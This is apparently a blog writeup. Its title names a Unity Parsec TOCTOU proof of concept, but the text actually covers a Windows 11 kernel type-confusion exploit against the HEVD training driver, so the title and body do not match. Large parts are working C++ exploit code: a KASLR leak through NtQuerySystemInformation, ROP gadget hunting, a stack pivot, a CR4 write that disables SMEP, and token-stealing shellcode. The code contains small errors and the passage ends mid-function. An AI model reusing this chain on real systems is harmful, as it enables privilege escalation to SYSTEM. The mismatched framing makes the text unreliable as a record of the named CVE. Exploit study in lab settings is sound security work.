CVE-2023-37250 POC
Unity Parsec TOCTOU PoC + writeup.
Unity Parsec TOCTOU PoC + writeup.
Have you ever tested something for a really long time, that it made part of your life? that’s what happen to me for the last months when a simple TypeConfusionvulnerability almost made me go crazy!
In this blogpost, we will talk about my experience covering a simple vulnerability that for some reason was the most hard and confuse thing that i ever have seen in a context of Kernel Exploitaiton.
OS Name: Microsoft Windows 11 Pro
OS Version: 10.0.22621 N/A Build 22621
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Vulnerable Driver: HackSysExtremeVulnerableDriver a.k.a HEVD.sys
Default windows functions most of the time can delay a exploitation development, because most of these functions should have “protected values” with a view to preveting misuse from attackers or people who want to modify/manipulateinternal values. According many C/C++scripts, you can find a import as follows:
#include <windows.h>
#include <winternl.h> // Don't use it
#include <iostream>
#pragma comment(lib, "ntdll.lib")
<...snip...>
When a inclusion of winternl.h file is made, default values of “innumerous” functions are overwritten with the values defined on structson the library.
// https://github.com/wine-mirror/wine/blob/master/include/winternl.h#L1790C1-L1798C33
// snippet from wine/include/winternl.h
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemCpuInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3, /* was SystemTimeInformation */
SystemPathInformation = 4,
SystemProcessInformation = 5,
SystemCallCountInformation = 6,
SystemDeviceInformation = 7,
<...snip...>
The problem is, when you manipulating and exploiting functions from User-Land like NtQuerySystemInformationin “recent” windows versions, these defined values are “different”, blocking and preveting the use of it functions which can have some ability to leak kernel base addresses, consequently delaying our exploitation phase. So, it’s import to make sure that a code is crafted by ignoring winternl.h and posteriorly by utilizing manually structs definitions as example below:
#include <iostream>
#include <windows.h>
#include <ntstatus.h>
#include <string>
#include <Psapi.h>
#include <vector>
#define QWORD uint64_t
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
// Function pointer typedef for NtDeviceIoControlFile
typedef NTSTATUS(WINAPI* LPFN_NtDeviceIoControlFile)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PVOID IoStatusBlock,
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
// Loads NTDLL library
HMODULE ntdll = LoadLibraryA("ntdll.dll");
// Get the address of NtDeviceIoControlFile function
LPFN_NtDeviceIoControlFile NtDeviceIoControlFile = reinterpret_cast<LPFN_NtDeviceIoControlFile>(
GetProcAddress(ntdll, "NtDeviceIoControlFile"));
INT64 GetKernelBase() {
// Leak NTDLL.sys base address in order to KASLR bypass
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
PVOID kernelBase = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return (INT64)kernelBase;
}
With this technique, now we’re able to use all correct structsvalues without any troubles.
Utilizing IDA Reverse Engineering Tool, we can clearly see the correct IOCTLwhich execute our vulnerable function.
After reversing TriggerTypeConfusion, we have the follow code:
// IDA Pseudo-code into TriggerTypeConfusion function
__int64 __fastcall TriggerTypeConfusion(_USER_TYPE_CONFUSION_OBJECT *a1)
{
_KERNEL_TYPE_CONFUSION_OBJECT *PoolWithTag; // r14
unsigned int v4; // ebx
ProbeForRead(a1, 0x10ui64, 1u);
PoolWithTag = (_KERNEL_TYPE_CONFUSION_OBJECT *)ExAllocatePoolWithTag(NonPagedPool, 0x10ui64, 0x6B636148u);
if ( PoolWithTag )
{
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool");
DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 16i64);
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
DbgPrintEx(0x4Du, 3u, "[+] UserTypeConfusionObject: 0x%p\n", a1);
DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject: 0x%p\n", PoolWithTag);
DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject Size: 0x%X\n", 16i64);
PoolWithTag->ObjectID = a1->ObjectID; // USER_CONTROLLED PARAMETER
PoolWithTag->ObjectType = a1->ObjectType; // USER_CONTROLLED PARAMETER
DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", (const void *)PoolWithTag->ObjectID);
DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", PoolWithTag->Callback);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Type Confusion\n");
v4 = TypeConfusionObjectInitializer(PoolWithTag);
DbgPrintEx(0x4Du, 3u, "[+] Freeing KernelTypeConfusionObject Object\n");
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
ExFreePoolWithTag(PoolWithTag, 0x6B636148u);
return v4;
}
else
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
return 3221225495i64;
}
}
As you can see, the function is expecting two values from a user-controlled struct named _KERNEL_TYPE_CONFUSION_OBJECT, this struct contains (ObjectID, ObjectType)as parameters, and after parse these objects, it utilizes TypeConfusionObjectInitializerwith our objects. The vulnerable code follows as bellow:
__int64 __fastcall TypeConfusionObjectInitializer(_KERNEL_TYPE_CONFUSION_OBJECT *KernelTypeConfusionObject)
{
DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
DbgPrintEx(0x4Du, 3u, "[+] Calling Callback\n");
((void (*)(void))KernelTypeConfusionObject->ObjectType)(); // VULNERABLE
DbgPrintEx(0x4Du, 3u, "[+] Kernel Type Confusion Object Initialized\n");
return 0i64;
}
The vulnerability in the code above is implict behind the unrestricted execution of _KERNEL_TYPE_CONFUSION_OBJECT->ObjectTypewhich pointer to an user-controlled address.
Knowing about our vulnerability, now we’ll get focused into exploit phases.
First of all, we craft our code in order to communicate to our HEVDdriver IRPutilizing previously got IOCTL -> 0x22202, and after that send our malicious buffer.
<...snip...>
// ---> Malicious Struct <---
typedef struct USER_CONTROLLED_OBJECT {
INT64 ObjectID;
INT64 ObjectType;
};
HMODULE ntdll = LoadLibraryA("ntdll.dll");
// Get the address of NtDeviceIoControlFile
LPFN_NtDeviceIoControlFile NtDeviceIoControlFile = reinterpret_cast<LPFN_NtDeviceIoControlFile>(
GetProcAddress(ntdll, "NtDeviceIoControlFile"));
HANDLE setupSocket() {
// Open a handle to the target device
HANDLE deviceHandle = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
if (deviceHandle == INVALID_HANDLE_VALUE) {
//std::cout << "[-] Failed to open the device" << std::endl;
FreeLibrary(ntdll);
return FALSE;
}
return deviceHandle;
}
int exploit() {
HANDLE sock = setupSocket();
ULONG outBuffer = { 0 };
PVOID ioStatusBlock = { 0 };
ULONG ioctlCode = 0x222023; //HEVD_IOCTL_TYPE_CONFUSION
USER_CONTROLLED_OBJECT UBUF = { 0 };
// Malicious user-controlled struct
UBUF.ObjectID = 0x4141414141414141;
UBUF.ObjectType = 0xDEADBEEFDEADBEEF; // This address will be "[CALL]ed"
if (NtDeviceIoControlFile((HANDLE)sock, nullptr, nullptr, nullptr, &ioStatusBlock, ioctlCode, &UBUF,
0x123, &outBuffer, 0x321) != STATUS_SUCCESS) {
std::cout << "\t[-] Failed to send IOCTL request to HEVD.sys" << std::endl;
}
return 0;
}
int main() {
exploit();
return 0;
}
Then after we send our buffer, _KERNEL_TYPE_CONFUSION_OBJECTshould be like this.
Now we can cleary understand where exactly this vulnerability lies. The next step should be to JMP into our user-controlled buffer containing some shellcode that can escalate SYSTEM PRIVILEGES, the issue with this idea lies behind a protection mechanism called SMEP. Supervisor Mode Execution Prevention, a.k.a (SMEP).
The main idea behind SMEPprotection is to preveting CALL/JMP into user-landaddresses. If SMEPkernel bitis set to [1], it provides a security mechanism that protectmemory pages from user attacks.
According to Core Security,
SMEP: Supervisor Mode Execution Prevention allows pages to
be protected from supervisor-mode instruction fetches. If
SMEP = 1, software operating in supervisor mode cannot
fetch instructions from linear addresses that are accessible in
user mode
- Detects RING-0 code running in USER SPACE
- Introduced at Intel processors based on the Ivy Bridge architecture
- Security feature launched in 2011
- Enabled by default since Windows 8.0 (32/64 bits)
- Kernel exploit mitigation
- Specially "Local Privilege Escalation” exploits
must now consider this feature.
Then let’s see in a pratical test if it is actually working properly.
<...snip...>
int exploit() {
HANDLE sock = setupSocket();
ULONG outBuffer = { 0 };
PVOID ioStatusBlock = { 0 };
ULONG ioctlCode = 0x222023; //HEVD_IOCTL_TYPE_CONFUSION
BYTE sc[256] = {
0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x4d,
0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x48,
0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00,
0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b, 0x88, 0xb8,
0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8,
0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01,
0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66,
0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68,
0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa,
0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48,
0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
// Allocating shellcode in a pre-defined address [0x80000000]
LPVOID shellcode = VirtualAlloc((LPVOID)0x80000000, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode, sc, 256);
USER_CONTROLLED_OBJECT UBUF = { 0 };
// Malicious user-controlled struct
UBUF.ObjectID = 0x4141414141414141;
UBUF.ObjectType = (INT64)shellcode; // This address will be "[CALL]ed"
if (NtDeviceIoControlFile((HANDLE)sock, nullptr, nullptr, nullptr, &ioStatusBlock, ioctlCode, &UBUF,
0x123, &outBuffer, 0x321) != STATUS_SUCCESS) {
std::cout << "\t[-] Failed to send IOCTL request to HEVD.sys" << std::endl;
}
return 0;
}
<...snip...>
After exploit execution we got something like this:
The BugCheckanalysis should be similar as a follows:
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory. The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 0000000080000000, Virtual address for the attempted execute.
Arg2: 00000001db4ea867, PTE contents.
Arg3: ffffb40672892490, (reserved)
Arg4: 0000000080000005, (reserved)
<...snip...>
As we can see, SMEPprotection looks working right, the follow steps will cover how do we can manipulate our addresses in order to enable our shellcode buffer to be executed by processor.
Returned-Oriented-Programminga.k.a (ROP), is technique that allows any attacker to manipulate the instruction pointers and returned addresses in the current stack, with this type of attack, we can actually perform a programming assembly only with execution between address to address.
As CTF101 mentioned:
Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things.
As we saw in buffer overflows, having stack control can be very powerful since it allows us to overwritesaved instruction pointers, giving us control over what the program does next. Most programs don’t have a convenient give_shell function however, so we need to find a way to manually invoke system or another exec function to get us our shell.
The main idea for our exploit lies behind the utilization of a ROP chain with a view to achieve arbitrary code execution. But how?
As part of a Control Registers, CR4register basically holds a bit value that can changes between Operation Systems.
When SMEPis implemented, a default value is used in the current OS to check if SMEP still enabled, and with this information kernel can knows if through his execution, should be possible or not to CALL/JMPinto user-land addresses.
As Wikipedia says:
A control register is a processor register that changes or controls the general behavior of a CPU or other digital device. Common tasks performed by control registers include interrupt control, switching the addressing mode, paging control, and coprocessor control.
CR4
Used in protected mode to control operations such as virtual-8086 support, enabling I/O breakpoints, page size extension and machine-check exceptions.
In my Operation System Build Windows 11 22621we can cleary see this register value in WinDBG:
At now, the main idea is about to flipthe correct bit, in order to neutralize SMEP execution, and after that JMPinto attacker shellcode.
Now, with this in mind, we need get back into our exploit source-code, and craft our ROP chainto achieve our goal. The question is, how?
At now, we know that we need change CR4value and a ROP chaincan help us, also we actually need at first to bypass Kernel ASLRdue the randomization between addresses in this land. The follow steps we’ll cover how to get the correct gadgetsto follow attacks.
With CR4register manipulation through ROP chainattacks, it’s important to notice that when a miscalculation is done by an attacker in the bit change exploit phase,if Virtualization-based securitybit is enabled, system catch exception and crashes after a change attempt of CR4 register value.
According to Microsoft:
Virtualization-based security (VBS) enhancements provide another layer of protection against attempts to execute malicious code in the kernel. For example, Device Guard blocks code execution in a non-signed area in kernel memory, including kernel EoP code. Enhancements in Device Guard also protect key MSRs, control registers, and descriptor table registers. Unauthorized modifications of the CR4 control register bitfields, including the SMEPfield, are blocked instantly.
If for some reason, you see an error as below, it’s a probably miscalculation of a the value which should be placed into CR4register.
<...snip...>
// A example of miscalculation of CR4 address
QWORD* _fakeStack = reinterpret_cast<QWORD*>((INT64)0x48000000 + 0x28); // add esp, 0x28
_fakeStack[index++] = SMEPBypass.POP_RCX; // POP RCX
_fakeStack[index++] = 0xFFFFFF; // ---> WRONG CR4 value
_fakeStack[index++] = SMEPBypass.MOV_CR4_RCX; // MOV CR4, RCX
_fakeStack[index++] = (INT64)shellcode; // JMP SHELLCODE
<...snip...>
WinDBG output:
KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure. The corruption
could potentially allow a malicious user to gain control of this machine.
Arguments:
Arg1: 0000000000000004, The thread's stack pointer was outside the legal stack
extents for the thread.
Arg2: 0000000047fff230, Address of the trap frame for the exception that caused the BugCheck
Arg3: 0000000047fff188, Address of the exception record for the exception that caused the BugCheck
Arg4: 0000000000000000, Reserved
EXCEPTION_RECORD: 0000000047fff188 -- (.exr 0x47fff188)
ExceptionAddress: fffff80631091b99 (nt!RtlpGetStackLimitsEx+0x0000000000165f29)
ExceptionCode: c0000409 (Security check failure or stack buffer overrun)
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 0000000000000004
Subcode: 0x4 FAST_FAIL_INCORRECT_STACK
PROCESS_NAME: TypeConfusionWin11x64.exe
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system has detected a stack-based buffer overrun in this application. It is possible that this saturation could allow a malicious user to gain control of the application.
EXCEPTION_CODE_STR: c0000409
EXCEPTION_PARAMETER1: 0000000000000004
EXCEPTION_STR: 0xc0000409
NtQuerySystemInformationAs mentioned before, is a function that if configured correctly can leak kernel lib base addresses once perform system query operations. As return of these queries, we can actually leak memory from user-land.
As mentioned by TrustedWave:
The function NTQuerySystemInformation is implemented on NTDLL. And as a kernel API, it is always being updated during the Windows versions with no short notice. As mentioned, this is a private function, so not officially documented by Microsoft. It has been used since early days from Windows NT-family systems with different syscall IDs.
<…snip…>
The function basically retrieves specific information from the environment and its structure is very simple
<…snip…>´
There are numerous data that can be retrieved using these classes along with the function. Information regarding the system, the processes, objects and others.
So, now we have a question, if we can leakaddresses and calculate the correct offset of the base of these addresses to our gadget, how can we search in memory for these ones?
The solution is simple as follows:
1 - kd> lm m nt
Browse full module list
start end module name
fffff800`51200000 fffff800`52247000 nt (export symbols) ntkrnlmp.exe
2 - .writemem "C:/MyDump.dmp" fffff80051200000 fffff80052247000
3 - python3 .\ROPgadget.py --binary C:\MyDump.dmp --ropchain --only "mov|pop|add|sub|xor|ret" > rop.txt
With the file ROP.txt, we have addresses but we’re still “unable” to get the correct ones to implement a valid calculation.
Ntdllfor exemple, utilizes addresses from his module as “buffers” sometimes, and the data can point for another invalid one. At kernel level, functions “changes”, and between all these “changes” you will never hit the correct offset through a simple .writememdump.
The biggest issue lies behind when a .writemem is used, it dumps the start and end of a defined module, but it automatically don’t align correctly the offset of functions. It happens due module segmentsand malleable data which can change time by time for the properly OS work . For example, if we search for opcodesutilizing WinDBGcommand line, there’s a static buffer address which returns exatcly the opcodes that we send.
The addresses above seems to be valid, and they are identical due our opcodes, the problem is that 0xffffff80051ef8500 is a buffer and it returns everything we put into WinDBGsearch function [s command]. So, no matter how you changesopcode, it always returns back in a buffer.
Ok, now let’s say that ROPGadget.py return as the follow output:
--> 0xfffff800516a6ac4 : pop r12 ; pop rbx ; pop rbp ; pop rdi ; pop rsi ; ret
0xfffff800514cbd9a : pop r12 ; pop rbx ; pop rbp ; ret
0xfffff800514d2bbf : pop r12 ; pop rbx ; ret
0xfffff800514b2793 : pop r12 ; pop rcx ; ret
If we try to check if that opcodesare the same in our current VM, we’ll notice something like this:
As you can see, the offset from .writememis invalid, meaning that something went wrong. A simple fix for this issue is by looking into our ROPGadgetsand see what assembly code that we need, and thenceforth we convert this code into opcode, so with that we can freely search into current valid memory the addresses to start our ROP chain.
4 - kd> lm m nt
Browse full module list
start end module name
fffff800`51200000 fffff800`52247000 nt (export symbols) ntkrnlmp.exe
5 - kd> s fffff800`51200000 L?01047000 BC 00 00 00 48 83 C4 28 C3
fffff800`514ce4c0 bc 00 00 00 48 83 c4 28-c3 cc cc cc cc cc cc cc ....H..(........
fffff800`51ef8500 bc 00 00 00 48 83 c4 28-c3 01 a8 02 75 06 48 83 ....H..(....u.H.
fffff800`51ef8520 bc 00 00 00 48 83 c4 28-c3 cc cc cc cc cc cc cc ....H..(........
6 - kd> u nt!ExfReleasePushLock+0x20
nt!ExfReleasePushLock+0x20:
fffff800`514ce4c0 bc00000048 mov esp,48000000h
fffff800`514ce4c5 83c428 add esp,28h
fffff800`514ce4c8 c3 ret
7 - kd> ? fffff800`514ce4c0 - fffff800`51200000
Evaluate expression: 2942144 = 00000000`002ce4c0
Now we know that ntdll base address 0xffffff8005120000 + 0x00000000002ce4c0will result into nt!ExfReleasePushLock+0x20function.
With previously idea of what exatcly means aROP chain, now it’s important to know what gadget do we need to change CR4register value utlizing only kernel addresses.
STACK PIVOTING:
mov esp, 0x48000000
ROP CHAIN:
POP RCX; ret // Just "pop" our RCX register to receive values
<CR4 CALCULATED VALUE> // Calculated value of current OS CR4 value
MOV CR4, RCX; ret // Changes current CR4 value with a manipulated one
// The logic for the ROP chain
// 1 - Allocate memory in 0x48000000 region
// 2 - When we moves 0x48000000 address to our ESP/RSP register
we actually can manipulated the range of addresses that we'll [CALL/JMP].
Now knowing about ourROP chain logic, we need to discuss about Stack Pivoting technique.
Stack pivoting basically means the changes of current Kernel stack into a user-controlled Fake Stack, this modification can be possible by changing RSP register value. When we changes RSP value to a user-controlled stack, we can actually manipulate it execution through a ROP chain, once we can do a programming returning into kernel addresses.
Getting back into the code, we implement our attacker Fake Stack.
<...snip...>
typedef struct USER_CONTROLLED_OBJECT {
INT64 ObjectID;
INT64 ObjectType;
};
typedef struct _SMEP {
INT64 STACK_PIVOT;
INT64 POP_RCX;
INT64 MOV_CR4_RCX;
} SMEP;
<...snip...>
// Leak base address utilizing NtQuerySystemInformation
INT64 GetKernelBase() {
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
PVOID kernelBase = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return (INT64)kernelBase;
}
SMEP SMEPBypass = { 0 };
int SMEPBypassInitializer() {
INT64 NT_BASE_ADDR = GetKernelBase(); // ntoskrnl.exe
std::cout << std::endl << "[+] NT_BASE_ADDR: 0x" << std::hex << NT_BASE_ADDR << std::endl;
INT64 STACK_PIVOT = NT_BASE_ADDR + 0x002ce4c0;
SMEPBypass.STACK_PIVOT = STACK_PIVOT;
std::cout << "[+] STACK_PIVOT: 0x" << std::hex << STACK_PIVOT << std::endl;
/*
1 - kd> lm m nt
Browse full module list
start end module name
fffff800`51200000 fffff800`52247000 nt (export symbols) ntkrnlmp.exe
2 - .writemem "C:/MyDump.dmp" fffff80051200000 fffff80052247000
3 - python3 .\ROPgadget.py --binary C:\MyDump.dmp --ropchain --only "mov|pop|add|sub|xor|ret" > rop.txt
*******************************************************************************
kd> lm m nt
Browse full module list
start end module name
fffff800`51200000 fffff800`52247000 nt (export symbols) ntkrnlmp.exe
kd> s fffff800`51200000 L?01047000 BC 00 00 00 48 83 C4 28 C3
fffff800`514ce4c0 bc 00 00 00 48 83 c4 28-c3 cc cc cc cc cc cc cc ....H..(........
fffff800`51ef8500 bc 00 00 00 48 83 c4 28-c3 01 a8 02 75 06 48 83 ....H..(....u.H.
fffff800`51ef8520 bc 00 00 00 48 83 c4 28-c3 cc cc cc cc cc cc cc ....H..(........
kd> u nt!ExfReleasePushLock+0x20
nt!ExfReleasePushLock+0x20:
fffff800`514ce4c0 bc00000048 mov esp,48000000h
fffff800`514ce4c5 83c428 add esp,28h
fffff800`514ce4c8 c3 ret
kd> ? fffff800`514ce4c0 - fffff800`51200000
Evaluate expression: 2942144 = 00000000`002ce4c0
*/
INT64 POP_RCX = NT_BASE_ADDR + 0x0021d795;
SMEPBypass.POP_RCX = POP_RCX;
std::cout << "[+] POP_RCX: 0x" << std::hex << POP_RCX << std::endl;
/*
kd> s fffff800`51200000 L?01047000 41 5C 59 C3
fffff800`5141d793 41 5c 59 c3 cc b1 02 e8-21 06 06 00 eb c1 cc cc A\Y.....!.......
fffff800`5141f128 41 5c 59 c3 cc cc cc cc-cc cc cc cc cc cc cc cc A\Y.............
fffff800`5155a604 41 5c 59 c3 cc cc cc cc-cc cc cc cc 48 8b c4 48 A\Y.........H..H
kd> u fffff800`5141d795
nt!KeClockInterruptNotify+0x2ff5:
fffff800`5141d795 59 pop rcx
fffff800`5141d796 c3 ret
kd> ? fffff800`5141d795 - fffff800`51200000
Evaluate expression: 2217877 = 00000000`0021d795
*/
INT64 MOV_CR4_RDX = NT_BASE_ADDR + 0x003a5fc7;
SMEPBypass.MOV_CR4_RCX = MOV_CR4_RDX;
std::cout << "[+] MOV_CR4_RDX: 0x" << std::hex << POP_RCX << std::endl << std::endl;
/*
kd> u nt!KeFlushCurrentTbImmediately+0x17
nt!KeFlushCurrentTbImmediately+0x17:
fffff800`515a5fc7 0f22e1 mov cr4,rcx
fffff800`515a5fca c3 ret
kd> ? fffff800`515a5fc7 - fffff800`51200000
Evaluate expression: 3825607 = 00000000`003a5fc7
*/
return TRUE;
}
int exploit() {
HANDLE sock = setupSocket();
ULONG outBuffer = { 0 };
PVOID ioStatusBlock = { 0 };
ULONG ioctlCode = 0x222023; //HEVD_IOCTL_TYPE_CONFUSION
BYTE sc[256] = {
0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x4d,
0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x48,
0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00,
0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b, 0x88, 0xb8,
0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8,
0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01,
0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66,
0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68,
0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa,
0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48,
0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
// Allocating shellcode in a pre-defined address [0x80000000]
LPVOID shellcode = VirtualAlloc((LPVOID)0x80000000, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode, sc, 256);
